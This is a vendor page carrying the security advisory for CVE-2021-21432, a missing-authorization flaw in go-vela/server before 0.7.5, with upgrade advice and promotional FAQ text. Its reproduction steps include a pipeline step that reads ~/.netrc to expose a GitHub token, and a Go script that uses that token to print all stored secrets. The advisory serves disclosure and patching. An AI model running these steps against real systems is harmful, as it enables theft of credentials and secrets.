CVE-2021-21432

CVE-2021-21432 is a high-severity missing authorization vulnerability in github.com/go-vela/server (go), affecting versions >= 0.7.0, < 0.7.5. It is fixed in 0.7.5.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Reject unauthorized access with GitHub PATs

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

  • No known workarounds

References

Are there any links users can visit to find out more?

For more information

If you have any questions or comments about this advisory

Impact

What kind of vulnerability is it? Who is impacted?

The additional auth mechanism added within https://github.com/go-vela/server/pull/246 enables some malicious user to obtain secrets utilizing the injected credentials within the ~/.netrc file. Steps to reproduce

  1. Create Vela server

  2. Login to Vela UI

  3. Promote yourself to Vela administrator

    • UPDATE users SET admin = 't' WHERE name = <username>
  4. Activate repository within Vela

  5. Add .vela.yml to the repository with the following content

    version: "1"
    
    steps:
    - name: steal
      image: alpine
      commands:
        - cat ~/.netrc
    
  6. Look at build logs to find the following content

    $ cat ~/.netrc
    machine <GITHUB URL>
    login x-oauth-basic
    password <token>
    
  7. Copy the password to be utilized in some later step

  8. Add secret(s) to activated repo

  9. Copy the following script into main.go

    package main
    
    import (
        "fmt"
        "github.com/go-vela/sdk-go/vela"
        "os"
    )
    
    func main() {
        // create client to connect to vela
        client, err := vela.NewClient(os.Getenv("VELA_SERVER_ADDR"), "vela", nil)
        if err != nil {
            panic(err)
        }
    
        // add PAT to request
        client.Authentication.SetPersonalAccessTokenAuth(os.Getenv("VELA_TOKEN"))
    
    
        secrets, _, err := client.Admin.Secret.GetAll(&vela.ListOptions{})
        if err != nil {
            panic(err)
        }
    
        for _, secret := range *secrets {
            fmt.Println(*secret.Name)
            fmt.Println(*secret.Value)
        }
    }
    
  10. Run the main.go with environment specific settings

    • VELA_SERVER_ADDR=http://localhost:8080 VELA_TOKEN=<token obtained previously> go run main.go

The previously posted script could be updated to utilize any API endpoint(s) the activated user has access against.

The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.

CVE-2021-21432 has a CVSS score of 7.5 (High). The vector is reachable from an adjacent network, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.7.5); upgrading removes the vulnerable code path.

Affected versions

github.com/go-vela/server (>= 0.7.0, < 0.7.5)

Security releases

github.com/go-vela/server → 0.7.5 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Has the problem been patched? What versions should users upgrade to?

  • Upgrade to v0.7.5 or later

Frequently Asked Questions

  1. What is CVE-2021-21432? CVE-2021-21432 is a high-severity missing authorization vulnerability in github.com/go-vela/server (go), affecting versions >= 0.7.0, < 0.7.5. It is fixed in 0.7.5. The application does not perform an authorization check before performing a sensitive operation.
  2. How severe is CVE-2021-21432? CVE-2021-21432 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/go-vela/server are affected by CVE-2021-21432? github.com/go-vela/server (go) versions >= 0.7.0, < 0.7.5 is affected.
  4. Is there a fix for CVE-2021-21432? Yes. CVE-2021-21432 is fixed in 0.7.5. Upgrade to this version or later.
  5. Is CVE-2021-21432 exploitable, and should I be worried? Whether CVE-2021-21432 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2021-21432 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2021-21432? Upgrade github.com/go-vela/server to 0.7.5 or later.

Other vulnerabilities in github.com/go-vela/server

Stop the waste.
Protect your environment with Kodem.